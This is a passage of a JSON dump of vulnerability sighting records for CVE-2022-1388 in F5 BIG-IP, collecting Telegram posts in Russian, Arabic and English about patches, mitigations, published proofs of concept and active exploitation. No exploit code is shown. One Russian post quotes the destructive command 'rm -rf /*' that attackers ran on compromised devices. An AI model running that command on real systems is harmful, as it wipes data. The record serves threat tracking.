\u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0438 \u00ab\u0441\u0440\u0435\u0434\u043d\u044f\u044f\u00bb \u0438\u043b\u0438 \u00ab\u043d\u0438\u0437\u043a\u0430\u044f\u00bb.\n\nF5 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 v17.0.0, v16.1.2.2, v15.1.5.1, v14.1.4.6 \u0438 v13.1.5, \u0430 \u0442\u0435\u043c, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043c\u0435\u0440\u044b \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e, \u043f\u043e\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u0432 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 iControl REST \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 httpd BIG-IP.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 F5 BIG-IP \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0440\u0435\u0434\u0430\u0445, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0441\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0438\u0441\u043a, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0441\u0435\u0442\u044f\u043c. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u043e 16 142 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 F5 BIG-IP, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043d\u0438\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0421\u0428\u0410, \u0437\u0430 \u043d\u0438\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u041a\u0438\u0442\u0430\u0439, \u0418\u043d\u0434\u0438\u044f, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u044f \u0438 \u042f\u043f\u043e\u043d\u0438\u044f.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BIG-IP, \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u044d\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438\u043b\u0438, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435, \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0435\u0436\u0435\u043a\u0432\u0430\u0440\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 F5 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 3 \u0430\u0432\u0433\u0443\u0441\u0442\u0430.", "creation_timestamp": "2022-05-05T10:43:02.000000Z"}, {"uuid": "3313e71e-ecb7-48a3-af0e-a6385e60e366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/true_secator/2930", "content": "\u034f\u041a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043a\u0442\u043e \u043d\u0435 \u0443\u0441\u043f\u0435\u043b, \u0442\u043e\u0442 \u043e\u043f\u043e\u0437\u0434\u0430\u043b. \u041c\u044b \u0443\u0436\u0435 \u043d\u0435 \u0440\u0430\u0437 \u043f\u0438\u0441\u0430\u043b\u0438 \u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u0445 \u043d\u0435\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u0430 72 \u0447\u0430\u0441\u043e\u0432 \u043f\u0440\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 PoC.\n\n\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0437\u043b\u0430\u044f \u0440\u043e\u043b\u044c \u0438 \u0447\u0435\u0440\u0435\u0434\u0430 \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u044b\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 \u043e\u0431\u0440\u0443\u0448\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 F5 BIG-IP.\n\n\u0421\u0442\u043e\u0438\u043b\u043e F5 Networks \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441\u043e \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 CVE-2022-1388 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSSv3 9,8 - \u0431\u0430\u0433\u043e\u0439 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0432 iControl REST, \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 (PoC).\n\n\u0422\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432 \u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a, 9 \u043c\u0430\u044f 2022 \u0433., Horizon3 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u043e\u043b\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 root. \u0414\u0440\u0443\u0433\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u044b \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0438 \u0432\u044b\u043b\u043e\u0436\u0438\u043b\u0438 \u0438\u0445 \u043d\u0430 Twitter \u0438 GitHub, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u043a\u043e\u043b\u043b\u0435\u0433\u0438 \u0438\u0437 Positive Technologies.\n\n\u0412\u0441\u0435 \u0431\u044b \u043d\u0438\u0447\u0435\u0433\u043e, \u043a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u0431\u043b\u0430\u0433\u0438\u043c\u0438, \u043d\u043e \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 BinaryEdge \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0439 F5 BIG-IP. \u0418\u0437-\u0437\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438 \u0442\u043e\u0433\u043e \u0444\u0430\u043a\u0442\u0430, \u0447\u0442\u043e \u043e\u043d \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0435\u0449\u0435 \u0440\u0430\u0441\u0442\u0438. \n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0441\u0443\u0433\u0443\u0431\u043e \u0432\u0430\u043d\u0434\u0430\u043b\u044c\u043d\u043e\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u0434\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0446\u0435\u043b\u044c\u044e \u0441\u0442\u0435\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u043c \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f. \u041e\u0434\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u00abrm -rf /*\u00bb \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 BIG-IP \u0438 \u0432\u0441\u0435 \u0447\u0442\u043e \u0431\u044b\u043b\u043e \"\u043d\u0430\u0436\u0438\u0442\u043e \u043d\u0435\u043f\u043e\u0441\u0438\u043b\u044c\u043d\u044b\u043c \u0442\u0440\u0443\u0434\u043e\u043c\" \u0438\u0441\u043f\u0430\u0440\u0438\u043b\u043e\u0441\u044c \u0432 \u043e\u0434\u043d\u043e\u0447\u0430\u0441\u044c\u0435. \u0411\u043e\u043b\u0435\u0435 \u0438\u0437\u043e\u0449\u0440\u0451\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u0446\u0435\u043b\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0442\u044f\u043c \u0438 \u043a\u0440\u0430\u0436\u0438 \u043a\u043b\u044e\u0447\u0435\u0439 SSH.\n\n\u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0430 \u043e\u0448\u0438\u0431\u043a\u0438 F5 \u043f\u0440\u0438\u0437\u0432\u0430\u043b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.\n\n\u0414\u043b\u044f \u0442\u0435\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b, \u043f\u043e\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u0432 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f iControl REST \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 IP-\u0430\u0434\u0440\u0435\u0441, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f REST \u043a iControl \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e BIG-IP httpd.", "creation_timestamp": "2022-05-11T19:38:01.000000Z"}, {"uuid": "f1623810-ae25-4890-a032-cfbd561e8045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/jokerplstaeen/16429", "content": "\u200f\ud83d\udca5 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \"CVE-2022-1388\"\ud83e\udeb2\ud83e\uddd1\u200d\ud83d\udcbb\n\u0623\u062d\u064a\u0627\u0646\u0627\u064b \u0646\u0633\u0645\u0639 \u0623\u062e\u0628\u0627\u0631 \u0645\u062b\u0644 \u0627\u0644\u062e\u0628\u0631 \u0627\u0644\u062a\u0627\u0644\u064a:\n\n\u25aa\ufe0f\u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641 \u062b\u063a\u0631\u0629 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0623\u062c\u0647\u0632\u0629 F5 Big-IP \u0628\u0631\u0642\u0645: 1388-2022-CVE \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u062e\u062a\u0631\u0642 \u0641\u064a \u0627\u0644\u062a\u062d\u0643\u0645 \u0627\u0644\u0643\u0627\u0645\u0644 \u0628\u0627\u0644\u0646\u0638\u0627\u0645 \u0639\u0646 \u0628\u0639\u062f\u060c \u0648\u062a\u0645 \u0625\u0639\u0637\u0627\u0621 \u0627\u0644\u062b\u063a\u0631\u0629 \u062a\u0642\u064a\u064a\u0645 \u062e\u0637\u0648\u0631\u0629 10/10.\n\n\ud83d\udccd\u0639\u0644\u0649 \u0645\u0627\u0630\u0627 \u064a\u062f\u0644 \u0647\u0630\u0627 \u0627\u0644\u0631\u0642\u0645\u061f \u0648\u0645\u0627 \u0647\u0648 \u0645\u0639\u0646\u0627\u0647\u061f.. \"CVE-2022-1388\"\n\n\ud83d\udccd\u0627\u0644 \"CVE-2022-1388\" \u0647\u0648 \u0627\u062e\u062a\u0635\u0627\u0631 \u0644 Common Vulnerabilities and Exposures \u0648\u0647\u0648 \u0645\u0648\u0642\u0639 \u0639\u0627\u0644\u0645\u064a \u0644\u062a\u0639\u0631\u064a\u0641 \u0648\u0641\u0647\u0631\u0633\u0629 \u062c\u0645\u064a\u0639 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0641\u064a \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0648\u0627\u0644\u0643\u0634\u0641 \u0639\u0646\u0647\u0627 \u0639\u0644\u0646\u0627\u064b \u0648\u0646\u0634\u0631\u0647\u0627 \u0648\u064a\u0648\u062c\u062f \u0644\u0643\u0644 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0645\u0643\u062a\u0634\u0641\u0629 \u0645\u0639\u0631\u0641 \u0631\u0642\u0645\u064a \u0641\u0631\u064a\u062f (CVE-YYY-NNNN)\n\n\ud83d\udccd\u0648\u0647\u064a \u0633\u0646\u0629 \u0627\u0644\u0646\u0634\u0631 \u0623\u0648 \u0627\u0644\u0633\u0646\u0629 \u0627\u0644\u062a\u064a \u0627\u0643\u062a\u0634\u0641\u062a \u0641\u064a\u0647\u0627 \u0627\u0644\u062b\u063a\u0631\u0629 \u0645\u062b\u0627\u0644:\n\n\"Stuxnet Worm: CVE-2010-2772\"\n\u25aa\ufe0f\u0647\u0646\u0627 \u0641\u0627\u064a\u0631\u0648\u0633 \"\u0633\u062a\u0648\u0643\u0633\u0646\u062a\" \u062a\u0645 \u0627\u0644\u0643\u0634\u0641 \u0639\u0646\u0647 \u0641\u064a 2010.\n\n\"WannaCry: CVE-2017-0144\"\n\u25aa\ufe0f\u0647\u0646\u0627 \u0647\u062c\u0648\u0645 \u0644\u0644\u0641\u062f\u064a\u0629 \u062a\u0645 \u0627\u0644\u0643\u0634\u0641 \u0639\u0646\u0647 \u0641\u064a 2017.\n\n\ud83d\udccd\u064a\u0639\u062a\u0628\u0631 \u0627\u0644 \"CVE-2022-1388\" \u0647\u0648 \u0645\u0639\u0631\u0641 \u0631\u0642\u0645\u064a CVE \u0641\u0631\u064a\u062f \u0644\u0644\u062b\u063a\u0631\u0629\u060c \u0644\u0627 \u064a\u062a\u0643\u0631\u0631 \u064a\u062a\u0643\u0648\u0646 \u0645\u0646 4 \u0623\u0631\u0642\u0627\u0645\u060c \u0648\u0623\u062d\u064a\u0627\u0646\u0627\u064b \u0625\u0644\u0649 5 \u0623\u06487 \u0623\u0631\u0642\u0627\u0645 \u0647\u0630\u0627 \u0627\u0644\u0631\u0642\u0645 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0648\u0635\u0641 \u0644\u0644\u062b\u063a\u0631\u0629 \u0648\u0627\u0644\u062a\u0627\u0631\u064a\u062e \u0648\u0622\u062e\u0631 \u062a\u062d\u0631\u064a\u0631\u060c \u0648\u0646\u0648\u0639 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0648\u0645\u0627 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u062a\u0636\u0631\u0631\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u0645\u0628\u0627\u0634\u0631\u0629 \u0623\u0648 \u063a\u064a\u0631 \u0645\u0628\u0627\u0634\u0631\u0629 \u0648\u0627\u0644\u0645\u0631\u0627\u062c\u0639 \u0648\u062a\u0635\u0646\u064a\u0641 \u062e\u0637\u0648\u0631\u0629 \u0627\u0644\u062b\u063a\u0631\u0629.", "creation_timestamp": "2023-05-05T17:24:10.000000Z"}, {"uuid": "5da817ea-1b16-4fbe-af5a-ada9f3ec2b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "Telegram/V5hKn0oJ2nGQvFUOA8vMmIzpE0-LTzLZfzF3v7e7Ud5xOzo", "content": "", "creation_timestamp": "2026-09-02T01:00:13.132920Z"}, {"uuid": "7b5003c2-adcd-47cf-b77e-28bd57c7d0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/cibsecurity/42220", "content": "\ud83d\udd74 How to Check if Your F5 BIG-IP Device Is Vulnerable \ud83d\udd74\n\nThis Tech Tip walks network administrators through the steps to address the latest critical remote code execution vulnerability (CVE-2022-1388) in F5's BIG-IP management interface.\n\n\ud83d\udcd6 Read\n\nvia \"Dark Reading\".", "creation_timestamp": "2022-05-10T02:00:28.000000Z"}, {"uuid": "c9ba8c84-85ff-4e57-93e3-0703338d25a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/reverseame/2768", "content": "F5 BIG-IP Vulnerability (CVE-2022-1388) Exploited by BlackTech \u2013 JPCERT/CC Eyes https://blueteam.news/f5-big-ip-vulnerability-cve-2022-1388-exploited-by-blacktech-jpcert-cc-eyes", "creation_timestamp": "2026-08-02T22:18:45.996774Z"}, {"uuid": "9fabb930-7639-4843-87d7-a998449aa1a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/2408", "content": "Vulnerability Analysis \u2013 CVE-2022-1388 https://www.randori.com/blog/vulnerability-analysis-cve-2022-1388/", "creation_timestamp": "2026-08-03T01:17:26.327478Z"}, {"uuid": "ab14ee8e-d17b-47f8-87f5-791f6b8a9488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/reverseame/2768", "content": "F5 BIG-IP Vulnerability (CVE-2022-1388) Exploited by BlackTech \u2013 JPCERT/CC Eyes https://blueteam.news/f5-big-ip-vulnerability-cve-2022-1388-exploited-by-blacktech-jpcert-cc-eyes", "creation_timestamp": "2026-08-03T01:27:32.155906Z"}, {"uuid": "5cce60fe-3bfd-4279-b28b-38d199f0a2b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": 